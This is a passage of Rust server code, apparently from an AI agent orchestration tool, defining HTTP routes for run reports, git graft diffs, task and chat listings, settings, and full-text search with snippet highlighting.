4477    State(ui): State<Arc<Ui>>,
4478    Path(id): Path<String>,
4479) -> ApiResult<Json<crate::report_view::RunReportView>> {
4480    let view = blocking(move || {
4481        let id = resolve_run(&ui.runs, &id)?;
4482        let state = read_run(&ui.runs, &id)?;
4483        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4484        // Only a record that lacks the structured details reads `artifacts/`.
4485        let recovered = state.graft.as_ref().map(|_| {
4486            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4487        });
4488        Ok(crate::report_view::build_with(
4489            &state,
4490            state.liveness(daemon_claims),
4491            recovered.as_ref(),
4492        ))
4493    })
4494    .await?;
4495    Ok(Json(view))
4496}
4497
4498/// Most of a graft diff the route returns.
4499const GRAFT_DIFF_MAX: usize = 400 * 1024;
4500/// How long `git diff` may run.
4501const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4502
4503/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4504/// come from the run record, never from the request.
4505async fn run_graft_diff(
4506    State(ui): State<Arc<Ui>>,
4507    Path(id): Path<String>,
4508) -> ApiResult<impl IntoResponse> {
4509    let (repo, pre, post) = blocking(move || {
4510        let id = resolve_run(&ui.runs, &id)?;
4511        let state = read_run(&ui.runs, &id)?;
4512        let g = state
4513            .graft
4514            .as_ref()
4515            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4516        let post = g
4517            .post
4518            .clone()
4519            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4520        Ok((state.repo.clone(), g.pre.clone(), post))
4521    })
4522    .await?;
4523    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4524    if !hex(&pre) || !hex(&post) {
4525        return Err(ApiError::not_found("the recorded commits are not valid"));
4526    }
4527    let out = tokio::time::timeout(
4528        GRAFT_DIFF_TIMEOUT,
4529        crate::git::git_raw(
4530            &repo,
4531            &[
4532                "diff",
4533                "--no-color",
4534                "--no-ext-diff",
4535                "-M",
4536                &pre,
4537                &post,
4538                "--",
4539            ],
4540        ),
4541    )
4542    .await
4543    .map_err(|_| ApiError::not_found("git diff timed out"))?
4544    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4545    if out.code != Some(0) {
4546        return Err(ApiError::not_found(
4547            "the recorded commits are no longer in the repository",
4548        ));
4549    }
4550    let mut body = out.stdout;
4551    if body.len() > GRAFT_DIFF_MAX {
4552        let mut cut = GRAFT_DIFF_MAX;
4553        while !body.is_char_boundary(cut) {
4554            cut -= 1;
4555        }
4556        body.truncate(cut);
4557        body.push_str("\n... diff truncated ...");
4558    }
4559    Ok((
4560        [
4561            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4562            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4563        ],
4564        body,
4565    ))
4566}
4567
4568/// A task as the UI sees it.
4569///
4570/// The whole task, plus the two things the client would otherwise have to
4571/// reimplement: the human-readable source and the status string. Nothing is
4572/// removed - the phone shows `last_error` and the run history verbatim.
4573#[derive(Debug, Serialize)]
4574struct TaskView {
4575    #[serde(flatten)]
4576    task: Task,
4577    source_label: String,
4578    source_link: Option<SourceLink>,
4579    status_str: &'static str,
4580    /// The instruction, parsed as markdown, for the Queue card's "Full
4581    /// instruction" panel. `task.instruction` is unchanged and still carries
4582    /// the raw text.
4583    instruction_md: Vec<md::Node>,
4584    /// For a blocked task, what it waits on with each dependency's state, e.g.
4585    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4586    /// recurses; empty for every other status.
4587    waits_on: Vec<String>,
4588    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4589    /// behind - non-empty means nothing in the loop will ever run it.
4590    stuck_roots: Vec<String>,
4591}
4592
4593impl From<Task> for TaskView {
4594    fn from(task: Task) -> Self {
4595        Self {
4596            source_label: task.source.label(),
4597            source_link: source_link(&task.source),
4598            status_str: task.status.as_str(),
4599            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4600            waits_on: Vec::new(),
4601            stuck_roots: Vec::new(),
4602            task,
4603        }
4604    }
4605}
4606
4607impl TaskView {
4608    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4609        let waits_on = inv.waits_on(&task);
4610        let stuck_roots = inv
4611            .stuck_roots(&task)
4612            .iter()
4613            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4614            .collect();
4615        Self {
4616            waits_on,
4617            stuck_roots,
4618            ..Self::from(task)
4619        }
4620    }
4621}
4622
4623/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4624/// its absence, leaves the cache to decide.
4625#[derive(Debug, Default, Deserialize)]
4626#[serde(default)]
4627struct ReposQuery {
4628    refresh: u8,
4629}
4630
4631/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4632/// listing `magi repos` prints at a terminal.
4633///
4634/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4635/// so an edit to `magi.toml` takes effect without a restart, the same
4636/// reasoning [`config_for`] documents for the talk routes.
4637async fn repos_list(
4638    State(ui): State<Arc<Ui>>,
4639    Query(q): Query<ReposQuery>,
4640) -> ApiResult<Json<Vec<repos::Repo>>> {
4641    let refresh = q.refresh != 0;
4642    blocking(move || {
4643        let (cfg, _) = Config::discover(&ui.repo, None)?;
4644        Ok(Json(ui.repos_cache.list(
4645            &cfg.repos.roots,
4646            Duration::from_secs(cfg.repos.scan_ttl),
4647            refresh,
4648        )))
4649    })
4650    .await
4651}
4652
4653/// Optional context, restricted to the server's known checkouts.
4654#[derive(Debug, Default, Deserialize)]
4655struct SettingsQuery {
4656    repo: Option<PathBuf>,
4657}
4658
4659/// Always discover against the server's original context, never the selection.
4660/// If that config is broken, retain the default context and machine-only roots
4661/// so the settings error contract and recovery picker remain available.
4662fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4663    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4664        let paths: Vec<PathBuf> = ui
4665            .machine_config
4666            .iter()
4667            .filter(|p| p.is_file())
4668            .cloned()
4669            .collect();
4670        if paths.is_empty() {
4671            Ok(Config::autodetected())
4672        } else {
4673            Config::load_layers(&paths)
4674        }
4675    });
4676    let mut known = cfg
4677        .map(|cfg| {
4678            ui.repos_cache.list(
4679                &cfg.repos.roots,
4680                Duration::from_secs(cfg.repos.scan_ttl),
4681                refresh,
4682            )
4683        })
4684        .unwrap_or_default();
4685    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4686    if !known.iter().any(|r| r.path == path) {
4687        known.push(repos::Repo {
4688            name: path
4689                .file_name()
4690                .unwrap_or_default()
4691                .to_string_lossy()
4692                .into_owned(),
4693            path,
4694        });
4695    }
4696    known
4697}
4698
4699fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4700    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4701    let canonical = requested.canonicalize().ok();
4702    let mut known = settings_repositories(ui, false);
4703    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4704    if !known.iter().any(matches) {
4705        known = settings_repositories(ui, true);
4706    }
4707    let repo = known
4708        .iter()
4709        .find(|r| matches(r))
4710        .map(|r| r.path.clone())
4711        .ok_or_else(|| ApiError {
4712            text_reason: None,
4713            status: StatusCode::UNPROCESSABLE_ENTITY,
4714            message: "Choose a known repository from the Settings selector.".to_owned(),
4715        })?;
4716    Ok((repo, known))
4717}
4718
4719/// `GET /api/settings` - the effective role assignments and roster, with the
4720/// layer each came from. A config that fails to load answers 200 with an
4721/// `error`, so the screen can say so instead of drawing empty lists.
4722async fn settings_get(
4723    State(ui): State<Arc<Ui>>,
4724    Query(q): Query<SettingsQuery>,
4725) -> ApiResult<Json<settings::SettingsView>> {
4726    blocking(move || {
4727        let (repo, known) = settings_context(&ui, q)?;
4728        Ok(Json(settings::view_with_repos(
4729            &repo,
4730            ui.machine_config.as_deref(),
4731            &known,
4732        )))
4733    })
4734    .await
4735}
4736
4737/// The body of `PUT /api/settings/roles`.
4738#[derive(Debug, Deserialize)]
4739#[serde(deny_unknown_fields)]
4740struct RolesBody {
4741    /// The `revision` the client last read.
4742    revision: String,
4743    /// Role key to its new ids; an empty list resets the key to its default.
4744    #[serde(default)]
4745    roles: std::collections::BTreeMap<String, Vec<String>>,
4746    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4747    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4748    /// words (422) instead of as a deserialization error.
4749    #[serde(default)]
4750    counts: std::collections::BTreeMap<String, serde_json::Value>,
4751}
4752
4753/// `PUT /api/settings/roles` - save role assignments to the machine config.
4754///
4755/// The write target is `ui.machine_config` and nothing in the body can change
4756/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4757/// 422 with the reason in words.
4758async fn settings_put_roles(
4759    State(ui): State<Arc<Ui>>,
4760    Query(q): Query<SettingsQuery>,
4761    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4762) -> ApiResult<Json<settings::SettingsView>> {
4763    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4764    blocking(move || {
4765        let (repo, known) = settings_context(&ui, q)?;
4766        settings::save_with_repos(
4767            &repo,
4768            ui.machine_config.as_deref(),
4769            &body.revision,
4770            &body.roles,
4771            &body.counts,
4772            &known,
4773        )
4774        .map(Json)
4775        .map_err(|e| match e {
4776            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4777            settings::SaveError::Refused(m) => ApiError {
4778                text_reason: None,
4779                status: StatusCode::UNPROCESSABLE_ENTITY,
4780                message: m,
4781            },
4782            settings::SaveError::Internal(m) => ApiError::internal(m),
4783        })
4784    })
4785    .await
4786}
4787
4788async fn queue_list(
4789    State(ui): State<Arc<Ui>>,
4790    Query(q): Query<ListQuery>,
4791) -> ApiResult<Json<Vec<TaskView>>> {
4792    blocking(move || {
4793        let tasks = ui.queue.list();
4794        let inv =
4795            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4796        Ok(Json(
4797            tasks
4798                .into_iter()
4799                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4800                .map(|t| TaskView::with_inventory(t, &inv))
4801                .collect(),
4802        ))
4803    })
4804    .await
4805}
4806
4807/// Cursor pages read a bounded number of records, never the older transcripts
4808/// or instructions. Cursors advance through a frozen file-name snapshot,
4809/// including corrupt rows, so skipped/deleted records cannot repeat a page.
4810/// Concurrent inserts are reconciled by a trailing store refresh.
4811#[derive(Debug, Default, Deserialize)]
4812struct PageQuery {
4813    before: Option<String>,
4814}
4815
4816#[derive(Serialize)]
4817struct StorePage<T> {
4818    rows: Vec<T>,
4819    next: Option<String>,
4820}
4821
4822const STORE_PAGE_SIZE: usize = 16;
4823
4824/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
4825/// always read from disk; writes/deletions during the walk are reconciled by
4826/// the next store revision. Never rescan the entire directory for every page.
4827#[derive(Debug)]
4828struct ListWalk {
4829    token: u64,
4830    talks: bool,
4831    opened: std::time::Instant,
4832    ids: Arc<Vec<String>>,
4833}
4834
4835fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4836    let mut walks = ui
4837        .monitor
4838        .list_walks
4839        .lock()
4840        .unwrap_or_else(PoisonError::into_inner);
4841    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4842    let (token, ids, offset) = if let Some(cursor) = q.before {
4843        let (token, offset) = cursor
4844            .split_once(':')
4845            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4846        let token = token
4847            .parse::<u64>()
4848            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4849        let offset = offset
4850            .parse::<usize>()
4851            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4852        let walk = walks
4853            .iter()
4854            .find(|walk| walk.token == token && walk.talks == talks)
4855            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4856        (token, walk.ids.clone(), offset)
4857    } else {
4858        let root = if talks {
4859            ui.talks.root()
4860        } else {
4861            ui.queue.root()
4862        };
4863        let mut ids = crate::queue::record_ids(root, "json")?;
4864        ids.sort_unstable_by(|a, b| b.cmp(a));
4865        let ids = Arc::new(ids);
4866        let mut token = crate::rng::entropy();
4867        while walks.iter().any(|walk| walk.token == token) {
4868            token = crate::rng::entropy();
4869        }
4870        // Four clients can enumerate both stores and overlap a refresh. Bound
4871        // retained membership snapshots; an evicted cursor explicitly retries.
4872        if walks.len() >= 16 {
4873            walks.remove(0);
4874        }
4875        walks.push(ListWalk {
4876            token,
4877            talks,
4878            opened: std::time::Instant::now(),
4879            ids: ids.clone(),
4880        });
4881        (token, ids, 0)
4882    };
4883    if offset > ids.len() {
4884        return Err(ApiError::bad_request("Invalid list cursor"));
4885    }
4886    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4887    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4888    Ok((ids[offset..end].to_vec(), next))
4889}
4890
4891async fn queue_page(
4892    State(ui): State<Arc<Ui>>,
4893    Query(q): Query<PageQuery>,
4894) -> ApiResult<Json<StorePage<TaskView>>> {
4895    blocking(move || {
4896        let (ids, next) = page_ids(&ui, false, q)?;
4897        let tasks: Vec<_> = ids
4898            .into_iter()
4899            .filter_map(|id| ui.queue.get(&id).ok())
4900            .collect();
4901        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4902        let rows = tasks
4903            .into_iter()
4904            .map(|task| TaskView::with_inventory(task, &inv))
4905            .collect();
4906        Ok(Json(StorePage { rows, next }))
4907    })
4908    .await
4909}
4910
4911/// List-only projection: retain every turn timestamp for exact unread counts,
4912/// but do not ship transcripts, parse Markdown or discover repository config.
4913/// Opening a conversation obtains its full context window and controls.
4914#[derive(Serialize)]
4915struct TalkListView {
4916    title: Option<talk::ChatTitle>,
4917    id: String,
4918    repo: PathBuf,
4919    agent: String,
4920    status: talk::TalkStatus,
4921    turns: Vec<TalkListTurn>,
4922    thinking: bool,
4923    context: talk::ContextUsage,
4924    created_at: Timestamp,
4925    updated_at: Timestamp,
4926}
4927
4928#[derive(Serialize)]
4929struct TalkListTurn {
4930    who: talk::Who,
4931    at: Timestamp,
4932    body: String,
4933}
4934
4935async fn talks_page(
4936    State(ui): State<Arc<Ui>>,
4937    Query(q): Query<PageQuery>,
4938) -> ApiResult<Json<StorePage<TalkListView>>> {
4939    blocking(move || {
4940        let (ids, next) = page_ids(&ui, true, q)?;
4941        let rows = ids
4942            .into_iter()
4943            .filter_map(|id| ui.talks.get(&id).ok())
4944            .map(|talk| TalkListView {
4945                title: talk.title.clone(),
4946                thinking: ui.is_thinking(&talk.id),
4947                context: talk::context_usage(&talk, None),
4948                turns: talk
4949                    .turns
4950                    .iter()
4951                    .map(|turn| TalkListTurn {
4952                        who: turn.who,
4953                        at: turn.at,
4954                        body: turn
4955                            .body
4956                            .lines()
4957                            .next()
4958                            .unwrap_or_default()
4959                            .chars()
4960                            .take(240)
4961                            .collect(),
4962                    })
4963                    .collect(),
4964                id: talk.id,
4965                repo: talk.repo,
4966                agent: talk.agent,
4967                status: talk.status,
4968                created_at: talk.created_at,
4969                updated_at: talk.updated_at,
4970            })
4971            .collect();
4972        Ok(Json(StorePage { rows, next }))
4973    })
4974    .await
4975}
4976
4977async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4978    blocking(move || {
4979        let tasks = ui.indexed_tasks()?;
4980        Ok(Json(TaskCountsView::from(
4981            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4982        )))
4983    })
4984    .await
4985}
4986
4987/// Most hits one search returns. The rest are counted in `total`.
4988const SEARCH_MAX_HITS: usize = 100;
4989/// Longest query, in characters, and most terms it is split into.
4990const SEARCH_MAX_QUERY: usize = 200;
4991const SEARCH_MAX_TERMS: usize = 8;
4992/// Characters of context kept before the first hit, and after it.
4993const SNIPPET_BEFORE: usize = 50;
4994const SNIPPET_AFTER: usize = 110;
4995
4996/// `?scope=runs|tasks&q=...`
4997#[derive(Debug, Deserialize)]
4998struct SearchQuery {
4999    #[serde(default)]
5000    scope: String,
5001    #[serde(default)]
5002    q: String,
5003}
5004
5005/// One piece of a snippet. `hit` pieces are what matched; the client renders
5006/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5007#[derive(Debug, Serialize, PartialEq, Eq)]
5008struct SnippetPart {
5009    text: String,
5010    hit: bool,
5011}
5012
5013#[derive(Debug, Serialize)]
5014struct SearchHit {
5015    id: String,
5016    /// The name of the field the snippet was cut from.
5017    field: String,
5018    snippet: Vec<SnippetPart>,
5019    /// The run's list row, so the page can apply its state / section / repo
5020    /// filters to a hit outside the loaded window. Absent for tasks and for a
5021    /// run record the list view cannot read.
5022    #[serde(skip_serializing_if = "Option::is_none")]
5023    run: Option<RunSummary>,
5024}
5025
5026#[derive(Debug, Serialize)]
5027struct SearchView {
5028    scope: String,
5029    q: String,
5030    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5031    hits: Vec<SearchHit>,
5032    /// Every match, hits beyond the cap included.
5033    total: usize,
5034    truncated: bool,
5035    /// Runs whose `run.json` could not be parsed at all. They were not
5036    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5037    unreadable: usize,
5038}
5039
5040/// The text leaves of a JSON document, with the name of the field each sits
5041/// under. Keys and numbers are skipped: they are structure, not prose.
5042fn text_leaves<'a>(
5043    value: &'a serde_json::Value,
5044    field: &'a str,
5045    out: &mut Vec<(&'a str, &'a str)>,
5046) {
5047    match value {
5048        serde_json::Value::String(s) => out.push((field, s)),
5049        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5050        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5051        _ => {}
5052    }
5053}
5054
5055/// Lower-case one character without changing how many there are, so indices
5056/// in the lowered text are indices in the original.
5057fn fold_char(c: char) -> char {
5058    c.to_lowercase().next().unwrap_or(c)
5059}
5060
5061/// Split a query into its lower-cased terms.
5062fn search_terms(q: &str) -> Vec<String> {
5063    let mut terms: Vec<String> = Vec::new();
5064    for t in q.split_whitespace() {
5065        let t = t.to_lowercase();
5066        if !terms.contains(&t) {
5067            terms.push(t);
5068        }
5069    }
5070    terms
5071}
5072
5073/// Match `terms` (all of them, anywhere in the document) against the leaves
5074/// and cut a snippet around the first hit. `None` when a term is missing.
5075fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5076    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5077    let mut first: Option<usize> = None;
5078    for term in terms {
5079        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5080        first = Some(first.map_or(at, |f| f.min(at)));
5081    }
5082    // The leaf holding the earliest hit of any term is where the snippet is cut.
5083    let (field, text) = leaves[first?];
5084    Some(SearchHit {
5085        id: String::new(),
5086        field: field.to_owned(),
5087        snippet: snippet_of(text, terms),
5088        run: None,
5089    })
5090}
5091
5092/// A window of `text` around the first occurrence of any term, whitespace
5093/// collapsed, with every term occurrence inside the window marked.
5094fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5095    let chars: Vec<char> = text.chars().collect();
5096    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5097    let needles: Vec<Vec<char>> = terms
5098        .iter()
5099        .map(|t| t.chars().map(fold_char).collect())
5100        .collect();
5101    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5102        let mut best: Option<(usize, usize)> = None;
5103        for n in needles.iter().filter(|n| !n.is_empty()) {
5104            // `to` bounds where a match may start; it may run past `to` (the
5105            // caller clips what it shows). A term longer than the field cannot
5106            // occur in it (it may live in another leaf of the document).
5107            if n.len() > chars.len() || to == 0 {
5108                continue;
5109            }
5110            let last = (to - 1).min(chars.len() - n.len());
5111            if from > last {
5112                continue;
5113            }
5114            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5115                && best.is_none_or(|(b, _)| i < b)
5116            {
5117                best = Some((i, i + n.len()));
5118            }
5119        }
5120        best
5121    };
5122    let Some((start, _)) = find(0, chars.len()) else {
5123        // Matched only through a case mapping that changes length: show the head.
5124        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5125        return vec![SnippetPart {
5126            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5127            hit: false,
5128        }];
5129    };
5130    let lo = start.saturating_sub(SNIPPET_BEFORE);
5131    let hi = (start + SNIPPET_AFTER).min(chars.len());
5132    let mut parts: Vec<SnippetPart> = Vec::new();
5133    let mut push = |s: &[char], hit: bool| {
5134        if s.is_empty() {
5135            return;
5136        }
5137        let text: String = s.iter().collect();
5138        match parts.last_mut() {
5139            Some(p) if p.hit == hit => p.text.push_str(&text),
5140            _ => parts.push(SnippetPart { text, hit }),
5141        }
5142    };
5143    if lo > 0 {
5144        push(&['\u{2026}'], false);
5145    }
5146    let mut at = lo;
5147    while at < hi {
5148        match find(at, hi) {
5149            Some((s, e)) => {
5150                push(&chars[at..s], false);
5151                // A match running past the window is shown up to its edge.
5152                let shown = e.min(hi);
5153                push(&chars[s..shown], true);
5154                at = shown;
5155            }
5156            None => {
5157                push(&chars[at..hi], false);
5158                at = hi;
5159            }
5160        }
5161    }
5162    if hi < chars.len() {
5163        push(&['\u{2026}'], false);
5164    }
5165    // Collapse whitespace (newlines in an instruction) without disturbing the
5166    // hit boundaries.
5167    let mut prev_space = false;
5168    for p in &mut parts {
5169        let mut out = String::with_capacity(p.text.len());
5170        for c in p.text.chars() {
5171            if c.is_whitespace() {
5172                if !prev_space {
5173                    out.push(' ');
5174                }
5175                prev_space = true;
5176            } else {
5177                out.push(c);
5178                prev_space = false;
5179            }
5180        }
5181        p.text = out;
5182    }
5183    parts.retain(|p| !p.text.is_empty());
5184    parts
5185}
5186
5187/// The search over `docs` (id, document), newest first, capped.
5188fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5189where
5190    I: IntoIterator<Item = (String, serde_json::Value)>,
5191{
5192    for (id, doc) in docs {
5193        let mut leaves = Vec::new();
5194        // The id is text an operator types too, and it is a map key on disk,
5195        // not a leaf.
5196        leaves.push(("id", id.as_str()));
5197        text_leaves(&doc, "", &mut leaves);
5198        if let Some(mut hit) = search_document(terms, &leaves) {
5199            view.total += 1;
5200            if view.hits.len() < SEARCH_MAX_HITS {
5201                hit.id = id;
5202                view.hits.push(hit);
5203            }
5204        }
5205    }
5206    view.truncated = view.total > view.hits.len();
5207}
5208
5209/// What a conversation is searched by: its list title and each turn's text,
5210/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5211/// (session ids, repo paths, usage, drafts) is part of the document.
5212///
5213/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5214fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5215    let opener = talk
5216        .title
5217        .as_ref()
5218        .filter(|t| !t.text.is_empty())
5219        .map(|t| t.text.as_str())
5220        .or_else(|| {
5221            talk.turns
5222                .iter()
5223                .find(|t| t.who == talk::Who::Operator)
5224                .map(|t| t.body.as_str())
5225        })
5226        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5227        .unwrap_or("");
5228    let title: String = if opener.chars().count() > 96 {
5229        opener.chars().take(95).chain(['\u{2026}']).collect()
5230    } else {
5231        opener.to_owned()
5232    };
5233    let turns: Vec<serde_json::Value> = talk
5234        .turns
5235        .iter()
5236        .map(|t| {
5237            let who = match t.who {
5238                crate::talk::Who::Operator => "operator",
5239                crate::talk::Who::Agent => "agent",
5240            };
5241            serde_json::json!({ who: t.body })
5242        })
5243        .collect();
5244    serde_json::json!({ "title": title, "turns": turns })
5245}
5246
5247/// Read-only full-text search over every run's `run.json`, every task or every
5248/// conversation (title and transcript).
5249///
5250/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5251/// record from an older schema still searches; only a file that is not JSON
5252/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5253async fn search_get(
5254    State(ui): State<Arc<Ui>>,
5255    Query(q): Query<SearchQuery>,
5256) -> ApiResult<Json<SearchView>> {
5257    let query = q.q.trim().to_owned();
5258    if query.is_empty() {
5259        return Err(ApiError::bad_request("q must not be empty"));
5260    }
5261    if query.chars().count() > SEARCH_MAX_QUERY {
5262        return Err(ApiError::bad_request(format!(
5263            "q is longer than {SEARCH_MAX_QUERY} characters"
5264        )));
5265    }
5266    let terms = search_terms(&query);
5267    if terms.len() > SEARCH_MAX_TERMS {
5268        return Err(ApiError::bad_request(format!(
5269            "q has more than {SEARCH_MAX_TERMS} terms"
5270        )));
5271    }
5272    let scope = q.scope;
5273    if scope != "runs" && scope != "tasks" && scope != "chats" {
5274        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5275    }
5276    blocking(move || {
5277        let mut view = SearchView {
5278            scope: scope.clone(),
5279            q: query,
5280            hits: Vec::new(),
5281            total: 0,
5282            truncated: false,
5283            unreadable: 0,
5284        };
5285        if scope == "runs" {
5286            let mut unreadable = 0;
5287            // One run.json is read, matched and dropped at a time; nothing
5288            // holds the whole history. The scan runs to the end even past the
5289            // hit cap so `total` and `unreadable` stay exact.
5290            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5291                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5292                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5293                    Some(v) => Some((id, v)),
5294                    None => {
5295                        unreadable += 1;
5296                        None
5297                    }
5298                }
5299            });
5300            search_docs(&terms, docs, &mut view);
5301            view.unreadable = unreadable;
5302            // Only the capped hits get a row: the filters need a run's state,
5303            // and reading every match would be the whole history again.
5304            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5305            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5306            for hit in &mut view.hits {
5307                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5308                    hit.run = summarize(
5309                        [state],
5310                        &open_runs,
5311                        &claimed,
5312                        &superseded,
5313                        |p| probe.borrow_mut().status(p),
5314                        |p| probe.borrow_mut().started_at(p),
5315                    )
5316                    .pop();
5317                }
5318            }
5319        } else if scope == "chats" {
5320            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5321            view.unreadable = unreadable;
5322            search_docs(
5323                &terms,
5324                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5325                &mut view,
5326            );
5327        } else {
5328            let docs = ui.queue.list().into_iter().filter_map(|t| {
5329                let mut v = serde_json::to_value(&t).ok()?;
5330                // `source` serialises as a tagged object; the label is what
5331                // the operator reads ("human", "chat@a1b2").
5332                if let Some(o) = v.as_object_mut() {
5333                    o.insert("filed_by".to_owned(), t.source.label().into());
5334                }
5335                Some((t.id, v))
5336            });
5337            search_docs(&terms, docs, &mut view);
5338        }
5339        Ok(Json(view))
5340    })
5341    .await
5342}
5343
5344/// One attempt in a task's history, as the task page lists it.
5345#[derive(Debug, Serialize)]
5346struct TaskRunView {
5347    /// 1-based position in [`Task::runs`].
5348    n: usize,
5349    id: String,
5350    short: String,
5351    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5352    kind: &'static str,
5353    /// The run's own status string; `None` when its record cannot be read.
5354    status: Option<&'static str>,
5355    /// Whether this build could read the run's record. Counted, never hidden.
5356    readable: bool,
5357    /// A verdict from a collapsed panel is provisional, never a decision.
5358    provisional: bool,
5359    /// What kind of attempt this was, in one line.
5360    description: String,
5361    /// How it ended and why the task moved on (or what it is doing now).
5362    outcome: String,
5363    created_at: Option<Timestamp>,
5364    pr: Option<String>,
5365    /// Why this pass ended, classified once; the flowchart is built from it.
5366    exit: RunExit,
5367    /// What the pass did to the task's attempt budget.
5368    attempt: AttemptCost,
5369    /// Edge wording for leaving this entry; names the recorded cause when
5370    /// there is one.
5371    exit_label: String,
5372    /// The position of a later entry for the same run: this entry is an
5373    /// earlier pass of it.
5374    later_pass: Option<usize>,
5375    /// Which pass over the run this entry is (1-based) and how many entries
5376    /// the task lists for the run. Counted from the list, so known even for
5377    /// a legacy record.
5378    pass_n: usize,
5379    passes_of_run: usize,
5380    /// What the run recorded about this pass; `None` for a record from before
5381    /// passes were kept, whose cause stays unknown.
5382    pass: Option<PassView>,
5383    /// The branch a review-only run reopened.
5384    branch: Option<String>,
5385    /// The badge word when it differs from `status` (`stale` / `superseded`);
5386    /// filled by the task route, which can see liveness and later attempts.
5387    badge: Option<String>,
5388}
5389
5390/// One recorded pass over a run, for the wire.
5391#[derive(Debug, Clone, PartialEq, Serialize)]
5392struct PassView {
5393    index: usize,
5394    resumed: bool,
5395    started_at: Timestamp,
5396    ended_at: Option<Timestamp>,
5397    /// `open`, `parked` or `unrecorded`.
5398    end: &'static str,
5399    cause: Option<crate::run::ParkCause>,
5400    /// One line: why it stopped, or that nobody recorded why.
5401    label: String,
5402    /// What the task recorded for this pass; `None` when it was not settled
5403    /// (or settled by a build that kept no record).
5404    cost: Option<crate::queue::PassCost>,
5405}
5406
5407impl PassView {
5408    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5409        use crate::run::PassEnd;
5410        let (end, cause, label) = match &p.end {
5411            None => ("open", None, "still open".to_owned()),
5412            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5413            Some(PassEnd::Unrecorded) => (
5414                "unrecorded",
5415                None,
5416                "stopped without recording why (a crash, a kill or a restart; not known)"
5417                    .to_owned(),
